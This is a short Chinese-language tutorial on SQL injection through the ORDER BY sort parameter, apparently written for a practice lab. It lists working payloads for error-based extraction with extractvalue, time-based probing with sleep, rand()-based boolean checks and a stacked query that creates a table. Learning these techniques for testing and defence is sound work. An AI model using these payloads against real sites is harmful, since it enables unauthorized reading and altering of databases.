order by 注入
前言
尝试?sort=1 desc 或者 asc,显示结果不同,则表明可以注入。(升序 or 降序排列)
从上述的 sql 语句中我们可以看出,我们的注入点在 order by 后面的参数中,而 order by
不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
如果order by '1’显示的是默认排序
直接添加注入语句
?sort=(select ******)
报错
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
延时
?sort=1 and(select if(length(database())=8,sleep(5),1))
利用一些函数
例如 rand()函数等。?sort=rand(sql 语句)
rand()函数
rand(ture)和 rand(false)返回的结果不一样
payload
?sort=rand(length(database())=8)
利用 and
例如?sort=1 and (加 sql 语句)。
同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
布尔注入
?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
order by stacked injection
order by 堆栈注入
?sort=1;create table less50 like users